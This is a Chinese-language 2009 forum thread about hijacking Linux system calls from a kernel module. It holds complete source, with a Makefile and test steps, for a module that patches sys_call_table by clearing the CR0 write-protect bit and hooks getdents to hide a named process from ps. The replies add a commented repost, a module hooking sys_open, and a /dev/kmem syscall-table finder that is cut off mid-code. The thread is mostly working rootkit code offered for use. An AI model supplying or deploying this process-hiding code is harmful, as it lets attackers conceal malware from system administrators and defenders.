Chinaunix

标题: [原创]关于劫持系统调用隐藏进程的一些心得 [打印本页]

作者: g84ch    时间: 2009-09-17 09:56
标题: [原创]关于劫持系统调用隐藏进程的一些心得
网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.

博客地址:http://blog.chinaunix.net/u3/103654/showart.php?id=2053976

测试环境: ubuntu9.04 内核版本2.6.28

模块代码如下:

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;
char psname[10]="looptest";
char *processname=psname;

//module_param(processname, charp, 0);
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}


asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
    if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
        return p;
    return NULL;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("\n");
    return (res);
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d\n",entry->pid);
            return entry;
        }
        else
        {
    //    printk(KERN_INFO "pid=%d not found\n",pid);
        }
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n')
        {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s\n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
    //added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在这里调用一下sys_getdents,得到返回的结果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍历得到的目录列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s\n",dirp->d_name);
                              
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process\n");
        //发现匹配的进程,调用memmove将这条进程覆盖掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful.\n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents.\n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;
    asm("sidt %0":"=m"(idtr));
    idt = (void *) (idtr.base + 8 * 0x80);
    sys_call_off = (idt->off2 << 16) | idt->off1;
    if ((p = findoffset((char *) sys_call_off)))
        sct = *(unsigned *) (p + 3);
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else
        printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded.\n");
                return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
        $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*


编写一个测试程序looptest.c,如下:
#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}

编译该测试程序,#gcc looptest.c -o looptest
并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....

[ 本帖最后由 g84ch 于 2009-9-17 10:07 编辑 ]
作者: Godbach    时间: 2009-09-17 10:08
好文章。不知LZ的这个程序和内核版本关联紧密否,手头上只有2.6.18的内核。
作者: CUDev    时间: 2009-09-17 10:59
标题: 回复 #1 g84ch 的帖子
可以看一下这个:
http://blog.chinaunix.net/u/12592/showart_1903466.html
作者: g84ch    时间: 2009-09-17 11:28
标题: 回复 #2 Godbach 的帖子
2.6.18?是redhat的release吧,呵呵,应该是可以的,不过红帽中对ps的系统调用是sys_getdents还是sys_getdents64,这我没有去看,在ubuntu9.04中用的是sys_getdents,所以我程序里面劫持的它.
作者: g84ch    时间: 2009-09-17 11:29
标题: 回复 #3 CUDev 的帖子
代码的那个文件下载了是乱码,你能传个附件到这里来吗?谢谢...呵呵...
作者: Godbach    时间: 2009-09-17 11:32
标题: 回复 #4 g84ch 的帖子
对,RH发行了2.6.18的内核版本,不过我自己也从kernel.org上下载了干净的2.6.18.3的内核,现在玩的就自己下载的
作者: CUDev    时间: 2009-09-17 13:21
标题: 回复 #4 g84ch 的帖子
strace一下,看是哪个系统调用
作者: ninver    时间: 2009-09-17 13:24
我觉得两点可以改系统调用  一 在lib库里可以改动系统用 二 在call.s可以改 至于调用的函数你可以自己定义
作者: CUDev    时间: 2009-09-17 13:24
标题: 回复 #5 g84ch 的帖子
cublog的附件处理将tar.gz全部改为了.tgz后缀,可能会导致解压的时候直解压到tar文件。再对tar文件解压即可。
或者是tar xzvf xxxx.tgz
作者: chenbdchenbd    时间: 2009-09-17 14:24
好贴,支持。utu:" />


追加了点注释。
  1. /*hideps.c*/

  2. #include <linux/module.h>
  3. #include <linux/kernel.h>
  4. #include <asm/unistd.h>
  5. #include <linux/types.h>
  6. #include <linux/sched.h>
  7. #include <linux/dirent.h>
  8. #include <linux/string.h>
  9. #include <linux/file.h>
  10. #include <linux/fs.h>
  11. #include <linux/list.h>
  12. #include <asm/uaccess.h>
  13. #include <linux/unistd.h>
  14. //#include <sys/stat.h>
  15. //#include <fcntl.h>

  16. #define CALLOFF 100

  17. //使用模块参数来定义需要隐藏的进程名

  18. int orig_cr0;
  19. char psname[10] = "looptest";
  20. char *processname = psname;

  21. //module_param(processname, charp, 0);

  22. // idtr register
  23. struct {
  24.     unsigned short limit;// 16 bit(bit0-15)
  25.     unsigned int base;    // 32 bit(bit16-47)
  26. } __attribute__ ((packed)) idtr;

  27. // idt entity(8byte)
  28. struct {
  29.     unsigned short off1; // offset bit0-15(bit0-15)
  30.     unsigned short sel; //segment selector (bit16-31)
  31.     unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
  32.     unsigned short off2; //offset bit16-31(bit48-63)
  33. } __attribute__ ((packed)) * idt;

  34. struct linux_dirent{
  35.     unsigned long     d_ino;
  36.     unsigned long     d_off;
  37.     unsigned short    d_reclen;
  38.     char    d_name[1];
  39. };

  40. void** sys_call_table;

  41. //clear bit19(20th bit) of cr0 and return original cr0
  42. unsigned int clear_and_return_cr0(void)
  43. {
  44.     unsigned int cr0 = 0;
  45.     unsigned int ret;

  46.     asm volatile ("movl %%cr0, %%eax"
  47.             : "=a"(cr0)
  48.          );
  49.     ret = cr0;

  50.     /*clear the 20th bit of CR0,*/
  51.     cr0 &= 0xfffeffff;
  52.     asm volatile ("movl %%eax, %%cr0"
  53.             :
  54.             : "a"(cr0)
  55.          );
  56.     return ret;
  57. }

  58. // restore cr0 with original value
  59. void setback_cr0(unsigned int val)
  60. {
  61.     asm volatile ("movl %%eax, %%cr0"
  62.             :
  63.             : "a"(val)
  64.          );
  65. }

  66. // original system call func
  67. asmlinkage long (*orig_getdents)(unsigned int fd,
  68.                     struct linux_dirent __user *dirp, unsigned int count);

  69. // get addr start with 0xff 0x14 0x85
  70. char * findoffset(char *start)
  71. {
  72.     char *p;
  73.     for (p = start; p < start + CALLOFF; p++)
  74.         // In x86 machine code,   call *sys_call_table(,%eax,4)
  75.         // is translated to   0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
  76.         // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
  77.         if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
  78.             return p;
  79.     return NULL;
  80. }

  81. // convert a digital string to int
  82. int myatoi(char *str)
  83. {
  84.     int res = 0;
  85.     int mul = 1;
  86.     char *ptr;
  87.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
  88.     {
  89.         // not digit
  90.         if (*ptr < '0' || *ptr > '9')
  91.             return (-1);
  92.         res += (*ptr - '0') * mul;
  93.         mul *= 10;
  94.     }
  95.     if(res>0 && res< 9999)
  96.         printk(KERN_INFO "pid=%d,",res);
  97.     printk("\n");
  98.     return (res);
  99. }

  100. // get task_struct by pid
  101. struct task_struct *get_task(pid_t pid)
  102. {
  103.     struct task_struct *p = get_current(),*entry=NULL;
  104.     list_for_each_entry(entry,&(p->tasks),tasks)
  105.     {
  106.         if(entry->pid == pid)
  107.         {
  108.             printk("pid found=%d\n",entry->pid);
  109.             return entry;
  110.         }
  111.     }
  112.     printk(KERN_INFO "pid=%d not found\n",pid);
  113.     return NULL;
  114. }

  115. // get task's name
  116. static inline char *get_name(struct task_struct *p, char *buf)
  117. {
  118.     int i;
  119.     char *name;
  120.     name = p->comm;
  121.     i = sizeof(p->comm);
  122.     do {
  123.         unsigned char c = *name;
  124.         name++;
  125.         i--;
  126.         *buf = c;
  127.         if (!c)
  128.             break;
  129.         if (c == '\\') {
  130.             buf[1] = c;
  131.             buf += 2;
  132.             continue;
  133.         }
  134.         if (c == '\n')
  135.         {
  136.             buf[0] = '\\';
  137.             buf[1] = 'n';
  138.             buf += 2;
  139.             continue;
  140.         }
  141.         buf++;
  142.     }
  143.     while (i);
  144.     *buf = '\n';
  145.     return buf + 1;
  146. }

  147. // check if pid is which we want to hook
  148. int get_process(pid_t pid)
  149. {
  150.     struct task_struct *task = get_task(pid);
  151.     //    char *buffer[64] = {0};
  152.     char buffer[64];
  153.     if (task)
  154.     {
  155.         get_name(task, buffer);
  156.     //    if(pid>0 && pid<9999)
  157.     //    printk(KERN_INFO "task name=%s\n",*buffer);
  158.         if(strstr(buffer,processname))
  159.             return 1;
  160.         else
  161.             return 0;
  162.     }
  163.     else
  164.         return 0;
  165. }

  166. //hook func
  167. asmlinkage long hacked_getdents(unsigned int fd,
  168.                     struct linux_dirent __user *dirp, unsigned int count)
  169. {
  170. //added by lsc for process
  171.     long value;
  172.     //    struct inode *dinode;
  173.     unsigned short len = 0;
  174.     unsigned short tlen = 0;
  175. //    struct linux_dirent *mydir = NULL;
  176. //end
  177.     //在这里调用一下sys_getdents,得到返回的结果
  178.     value = (*orig_getdents) (fd, dirp, count);
  179.     tlen = value;
  180.     //遍历得到的目录列表
  181.     while(tlen > 0)
  182.     {
  183.         len = dirp->d_reclen;
  184.         tlen = tlen - len;
  185.         printk("%s\n",dirp->d_name);
  186.                               
  187.         if(get_process(myatoi(dirp->d_name)) )
  188.         {
  189.             printk("find process\n");
  190.             //发现匹配的进程,调用memmove将这条进程覆盖掉
  191.             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
  192.             value = value - len;
  193.             printk(KERN_INFO "hide successful.\n");
  194.         }
  195.         if(tlen)
  196.             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
  197.     }
  198.     printk(KERN_INFO "finished hacked_getdents.\n");
  199.     return value;
  200. }


  201. void **get_sct_addr(void)
  202. {
  203.     unsigned sys_call_off;
  204.     unsigned sct = 0;
  205.     char *p;

  206.     // get idtr using sidt
  207.     asm("sidt %0":"=m"(idtr));

  208.     // get system_call idt
  209.     idt = (void *) (idtr.base + 8 * 0x80);

  210.     // get offset(address of system_call func)
  211.     sys_call_off = (idt->off2 << 16) | idt->off1;

  212.     // get call *sys_call_table(,%eax,4)
  213.     if ((p = findoffset((char *) sys_call_off)))
  214.         // add   0xff 0x14 0x85 3bytes
  215.         sct = *(unsigned *) (p + 3);
  216.     // sys_call_table
  217.     return ((void **)sct);
  218. }


  219. static int filter_init(void)
  220. {
  221.     //得到sys_call_table的偏移地址
  222.     sys_call_table = get_sct_addr();
  223.     if (!sys_call_table)
  224.     {
  225.         printk("get_act_addr(): NULL...\n");
  226.         return 0;
  227.     }
  228.     else
  229.         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
  230.     //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
  231.     orig_getdents = sys_call_table[__NR_getdents];

  232.     orig_cr0 = clear_and_return_cr0();
  233.     sys_call_table[__NR_getdents] = hacked_getdents;
  234.     setback_cr0(orig_cr0);
  235.     printk(KERN_INFO "hideps: module loaded.\n");
  236.     return 0;
  237. }


  238. static void filter_exit(void)
  239. {
  240.     orig_cr0 = clear_and_return_cr0();
  241.     if (sys_call_table)
  242.     sys_call_table[__NR_getdents] = orig_getdents;
  243.     setback_cr0(orig_cr0);
  244.     printk(KERN_INFO "hideps: module removed\n");
  245. }
  246. module_init(filter_init);
  247. module_exit(filter_exit);
  248. MODULE_LICENSE("GPL");
复制代码

[ 本帖最后由 chenbdchenbd 于 2009-9-17 18:43 编辑 ]
作者: g84ch    时间: 2009-09-18 17:57
标题: 回复 #10 chenbdchenbd 的帖子
感谢感谢~~~
作者: Godbach    时间: 2009-09-21 19:11
2.6.18.3的内核,编译完之后先insmod内核模块,系统死掉,没有任何打印信息。
作者: Godbach    时间: 2009-09-21 19:36
先执行那个程序,然后再insmod也死掉。看来可以慢慢调试一把了,呵呵。
作者: g84ch    时间: 2009-09-22 09:49
标题: 回复 #13 Godbach 的帖子
可以试试把清CR0寄存器的那两步操作给去掉,再试试...
作者: Godbach    时间: 2009-09-22 09:55
原帖由 g84ch 于 2009-9-22 09:49 发表
可以试试把清CR0寄存器的那两步操作给去掉,再试试...

2.6下不清的话,应该是只读的吧。昨天也看了albcamus版主的那个帖子。
作者: W.Z.T    时间: 2009-09-22 13:15
用这种方法是最稳定的进程隐藏方式了, 不过也tooooooooooooooooooooooold了, 稍微新点的可以patch vfs层函数指针的方法, 或者现在用inlinke hook filldir64函数的方式~
作者: g84ch    时间: 2009-09-23 09:33
标题: 回复 #14 g84ch 的帖子
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....
作者: g84ch    时间: 2009-09-23 09:34
标题: 回复 #16 W.Z.T 的帖子
感谢这位大哥赐教~~~
作者: Godbach    时间: 2009-09-23 10:32
原帖由 g84ch 于 2009-9-23 09:33 发表
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....


LZ,你说没试,是指的你的程序还是其他?
作者: W.Z.T    时间: 2009-09-23 17:18
原帖由 g84ch 于 2009-9-23 09:34 发表
感谢这位大哥赐教~~~


不好意思, 看成是文件的隐藏了, filldir64是用来隐藏文件的
作者: g84ch    时间: 2009-09-23 22:20
标题: 回复 #19 Godbach 的帖子
我没有在redhat上的试过,不过ubuntu上是试过的。。。
作者: Godbach    时间: 2009-09-24 19:23
测试了albcamus版主给的劫持execve,open调用的例程。由于我的2.6.18的内核上的有个结构体和2.6.22(albcamus版主的例程)上的不一致,暂时屏蔽了劫持execve的代码,这里仅劫持open系统调用,修改后的代码如下:
  1. #include <linux/kernel.h>
  2. #include <linux/init.h>
  3. #include <linux/module.h>
  4. #include <linux/kprobes.h>
  5. #include <linux/kallsyms.h>
  6. #include <linux/sched.h>
  7. #include <linux/ptrace.h>
  8. #include <linux/mm.h>
  9. #include <linux/smp.h>
  10. #include <linux/user.h>
  11. #include <linux/errno.h>
  12. #include <linux/cpu.h>
  13. #include <asm/uaccess.h>
  14. #include <asm/fcntl.h>
  15. #include <asm/unistd.h>

  16. MODULE_DESCRIPTION("Intercept the system call table in Linux");
  17. MODULE_AUTHOR("alert7 ([email]alert7@xfocus.org[/email]) \n\t\talbcamus <[email]albcamus@gmail.com[/email]>");
  18. MODULE_LICENSE("GPL");


  19. /* comment the following line to shut me up */
  20. #define INTERCEPT_DEBUG

  21. #ifdef INTERCEPT_DEBUG
  22.     #define dbgprint(format,args...) \
  23.         printk("intercept: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
  24. #else
  25.     #define dbgprint(format,args...)  do {} while(0);
  26. #endif


  27. /**
  28. * the system call table
  29. */
  30. void **my_table;

  31. unsigned int orig_cr0;

  32. /**
  33. * the original syscall functions
  34. */
  35. asmlinkage long (*old_open) (char __user *filename, int flags, int mode);
  36. asmlinkage int  (*old_execve) (struct pt_regs regs);



  37. /** do_execve and do_fork */
  38. unsigned int can_exec_fork = 0;
  39. int    (*new_do_execve) (char * filename,
  40.             char __user *__user *argv,
  41.             char __user *__user *envp,
  42.             struct pt_regs * regs);


  43. struct idtr {
  44.     unsigned short limit;
  45.     unsigned int base;
  46. } __attribute__ ((packed));


  47. struct idt {
  48.     unsigned short off1;
  49.     unsigned short sel;
  50.     unsigned char none, flags;
  51.     unsigned short off2;
  52. } __attribute__ ((packed));


  53. #if 0
  54. /**
  55. *  check if we can intercept fork/vfork/clone/execve or not
  56. *
  57. *  return : 0 for no, 1 for yes
  58. */
  59. struct kprobe kp_exec;
  60. unsigned int can_intercept_fork_exec(void)
  61. {
  62.     int ret = 0;

  63. #ifndef CONFIG_KPROBES
  64.     return ret;
  65. #endif

  66.     kp_exec.symbol_name = "do_execve";

  67.     ret = register_kprobe(&kp_exec);
  68.     if (ret != 0 ) {
  69.         dbgprint("cannot find do_execve by kprobe.\n");
  70.         return 0;
  71.     }
  72.     new_do_execve = ( int (*)
  73.              (char *,
  74.               char __user * __user *,
  75.               char __user * __user *,
  76.               struct pt_regs *
  77.              )
  78.             ) kp_exec.addr;

  79.     dbgprint("do_execve at %p\n", (void *)kp_exec.addr);
  80.     unregister_kprobe(&kp_exec);


  81.     return 1;
  82. }

  83. #endif

  84. /**
  85. * clear WP bit of CR0, and return the original value
  86. */
  87. unsigned int clear_and_return_cr0(void)
  88. {
  89.     unsigned int cr0 = 0;
  90.     unsigned int ret;

  91.     asm volatile ("movl %%cr0, %%eax"
  92.               : "=a"(cr0)
  93.               );
  94.     ret = cr0;

  95.     /* clear the 20 bit of CR0, a.k.a WP bit */
  96.     cr0 &= 0xfffeffff;

  97.     asm volatile ("movl %%eax, %%cr0"
  98.               :
  99.               : "a"(cr0)
  100.               );
  101.     return ret;
  102. }

  103. /** set CR0 with new value
  104. *
  105. * @val : new value to set in cr0
  106. */
  107. void setback_cr0(unsigned int val)
  108. {
  109.     asm volatile ("movl %%eax, %%cr0"
  110.               :
  111.               : "a"(val)
  112.               );
  113. }


  114. /**
  115. * Return the first appearence of NEEDLE in HAYSTACK.  
  116. * */
  117. static void *memmem(const void *haystack, size_t haystack_len,
  118.             const void *needle, size_t needle_len)
  119. {/*{{{*/
  120.     const char *begin;
  121.     const char *const last_possible
  122.         = (const char *) haystack + haystack_len - needle_len;

  123.     if (needle_len == 0)
  124.         /* The first occurrence of the empty string is deemed to occur at
  125.            the beginning of the string.  */
  126.         return (void *) haystack;

  127.     /* Sanity check, otherwise the loop might search through the whole
  128.        memory.  */
  129.     if (__builtin_expect(haystack_len < needle_len, 0))
  130.         return NULL;

  131.     for (begin = (const char *) haystack; begin <= last_possible;
  132.          ++begin)
  133.         if (begin[0] == ((const char *) needle)[0]
  134.             && !memcmp((const void *) &begin[1],
  135.                    (const void *) ((const char *) needle + 1),
  136.                    needle_len - 1))
  137.             return (void *) begin;

  138.     return NULL;
  139. }/*}}}*/


  140. /**
  141. * Find the location of sys_call_table
  142. */
  143. static unsigned long get_sys_call_table(void)
  144. {/*{{{*/
  145. /* we'll read first 100 bytes of int $0x80 */
  146. #define OFFSET_SYSCALL 100        

  147.     struct idtr idtr;
  148.     struct idt idt;
  149.     unsigned sys_call_off;
  150.     unsigned retval;
  151.     char sc_asm[OFFSET_SYSCALL], *p;

  152.     /* well, let's read IDTR */
  153.     asm("sidt %0":"=m"(idtr)
  154.              :
  155.              :"memory" );

  156.     dbgprint("idtr base at 0x%X\n", (unsigned int)idtr.base);

  157.     /* Read in IDT for vector 0x80 (syscall) */
  158.     memcpy(&idt, (char *) idtr.base + 8 * 0x80, sizeof(idt));

  159.     sys_call_off = (idt.off2 << 16) | idt.off1;

  160.     dbgprint("idt80: flags=%X sel=%X off=%X\n",
  161.                  (unsigned) idt.flags, (unsigned) idt.sel, sys_call_off);

  162.     /* we have syscall routine address now, look for syscall table
  163.        dispatch (indirect call) */
  164.     memcpy(sc_asm, (void *)sys_call_off, OFFSET_SYSCALL);

  165.     /**
  166.      * Search opcode of `call sys_call_table(,eax,4)'
  167.      */
  168.     p = (char *) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\x85", 3);
  169.     if (p == NULL)
  170.         return 0;

  171.     retval = *(unsigned *) (p + 3);
  172.     if (p) {
  173.         dbgprint("sys_call_table at 0x%x, call dispatch at 0x%x\n",
  174.              retval, (unsigned int) p);
  175.     }
  176.     return retval;
  177. #undef OFFSET_SYSCALL
  178. }/*}}}*/



  179. /**
  180. * new_open - replace the original sys_open when initilazing,
  181. *           as well as be got rid of when removed
  182. */
  183. asmlinkage long new_open(char *filename, int flags, int mode)
  184. {
  185.     dbgprint("hello\n");
  186.     return old_open (filename, flags, mode);
  187. }


  188. /**
  189. * new_execve - you should change this function whenever the kernel's sys_execve()
  190. * changes
  191. */
  192. asmlinkage int new_execve(struct pt_regs regs)
  193. {
  194.     int error;
  195.     char *filename;

  196.     dbgprint("Hello\n");

  197.     filename = getname( (char __user *) regs.ebx );
  198.     error = PTR_ERR(filename);
  199.     if ( IS_ERR(filename) )
  200.         goto out;
  201.     dbgprint("file to execve: %s\n", filename);
  202.     error = new_do_execve(filename,
  203.                   (char __user * __user *) regs.ecx,
  204.                   (char __user * __user *) regs.edx,
  205.                   &regs);
  206.     if (error == 0) {
  207.         task_lock(current);
  208.         current->ptrace &= ~PT_DTRACE;
  209.         task_unlock(current);
  210.         set_thread_flag(TIF_IRET);
  211.     }
  212.     putname (filename);
  213. out:
  214.     return error;
  215. }

  216. static int intercept_init(void)
  217. {
  218.     my_table = (void **)get_sys_call_table();
  219.     if (my_table == NULL)
  220.         return -1;

  221.     dbgprint("sys call table address %p\n", (void *) my_table);

  222. #define REPLACE(x) old_##x = my_table[__NR_##x];\
  223.     my_table[__NR_##x] = new_##x

  224.    
  225.     REPLACE(open);
  226. #if 0
  227.     can_exec_fork = can_intercept_fork_exec();
  228.     if(can_exec_fork == 1)
  229.         REPLACE(execve);
  230. #endif

  231. #undef REPLACE
  232.     return 0;
  233. }





  234. static int __init this_init(void)
  235. {
  236.     int ret;
  237.     printk("syscall intercept: Hi, poor linux!\n");

  238.     orig_cr0 = clear_and_return_cr0();   
  239.     ret = intercept_init();
  240.     setback_cr0(orig_cr0);

  241.     return ret;
  242. }

  243. static void __exit this_fini(void)
  244. {
  245.     printk("syscall intercept: bye, poor linux!\n");

  246. #define RESTORE(x) my_table[__NR_##x] = old_##x

  247.     orig_cr0 = clear_and_return_cr0();   
  248.     RESTORE(open);
  249. #if 0
  250.     if(can_exec_fork == 1)
  251.         RESTORE(execve);
  252. #endif
  253.     setback_cr0(orig_cr0);

  254. #undef RESTORE
  255. }

  256. module_init(this_init);
  257. module_exit(this_fini);
复制代码


然后查看一下日志,看到如下信息:
Sep 24 19:06:49 localhost kernel: intercept: function:get_sys_call_table-L220: sys_call_table at 0xc11f14e0, call dispatch at 0xcebeceaa
Sep 24 19:06:49 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Sep 24 19:06:50 localhost kernel: intercept: function:new_open-L234: hello
Sep 24 19:07:00 localhost last message repeated 460 times

可见open系统调用被成功劫持,而且系统在执行的过程中,open的调用是很频繁的。
作者: g84ch    时间: 2009-09-25 11:24
标题: 回复 #22 Godbach 的帖子
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~
作者: Godbach    时间: 2009-09-25 11:27
原帖由 g84ch 于 2009-9-25 11:24 发表
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~


呵呵,众人拾柴火焰高啊
作者: gcbin007    时间: 2009-10-12 15:17

作者: Godbach    时间: 2009-10-13 15:45
网上看到一个用户态获取syscall table地址的例程,计算出的idtr.base地址和我上面给出的内核模块计算出的不一样,用户态例程链接为http://www.phpweblog.net/GaRY/ar ... _table_address.html,源码如下:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/stat.h>
  6. #include <fcntl.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #include <sys/mman.h>
  10. #define CALLOFF 100 //读取100字节

  11. struct {

  12.     unsigned short limit;

  13.     unsigned int base;

  14. } __attribute__ ((packed)) idtr;    //这个结构表示IDTR寄存器,这个寄存器中保存中断描述符表 的地址


  15. struct {

  16.     unsigned short off1;

  17.     unsigned short sel;

  18.     unsigned char none,flags;

  19.     unsigned short off2;

  20. } __attribute__ ((packed)) idt;    //中断描述符表中的内容:中断门描述符


  21. unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容

  22. {

  23.     if (lseek(fd, off,SEEK_SET)!=off)
  24.     {

  25.         //perror("fd lseek");
  26.         return 0;
  27.     }

  28.     if (read(fd, buf,size)!=size)
  29.     {

  30.         //perror("fd read");
  31.         return 0;
  32.     }

  33. }


  34. unsigned long  readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
  35. {
  36.     size_t    moff, roff;
  37.     size_t     sz = getpagesize();
  38.    
  39.     char * kmap;
  40.    
  41.     unsigned long  ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
  42.     if (ret_old != 0)
  43.         return ret_old;
  44.    
  45.     moff = ((size_t)(off/sz)) * sz;      
  46.     roff = off - moff;   
  47.    
  48.     kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
  49.    
  50.     if (kmap == MAP_FAILED)
  51.     {
  52.         perror("readkmem: mmap");
  53.         return 0;
  54.     }
  55.    
  56.     memcpy (buf, &kmap[roff], size);
  57.    
  58.     if (munmap(kmap, size) != 0)
  59.     {
  60.         perror("readkmem: munmap");
  61.         return 0;
  62.     }
  63.    
  64.     return size;
  65. }

  66. int main (int argc, char **argv)

  67. {

  68.     unsigned sys_call_off;

  69.     int kmem_fd;    // /dev/kmem文件描述符

  70.     unsigned sct;

  71.     char sc_asm[CALLOFF],*p;

  72.    
  73.         /* 获得IDTR寄存器的值 */

  74.     asm ("sidt %0" : "=m" (idtr));

  75.     printf("idtr base at 0x%X\n",(int)idtr.base);

  76.    
  77.         /* 打开kmem */

  78.     kmem_fd = open ("/dev/kmem",O_RDONLY);

  79.     if (kmem_fd<0) return 1;

  80.    
  81.         /* 从IDT读出0x80向量 (syscall) */

  82.     readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移

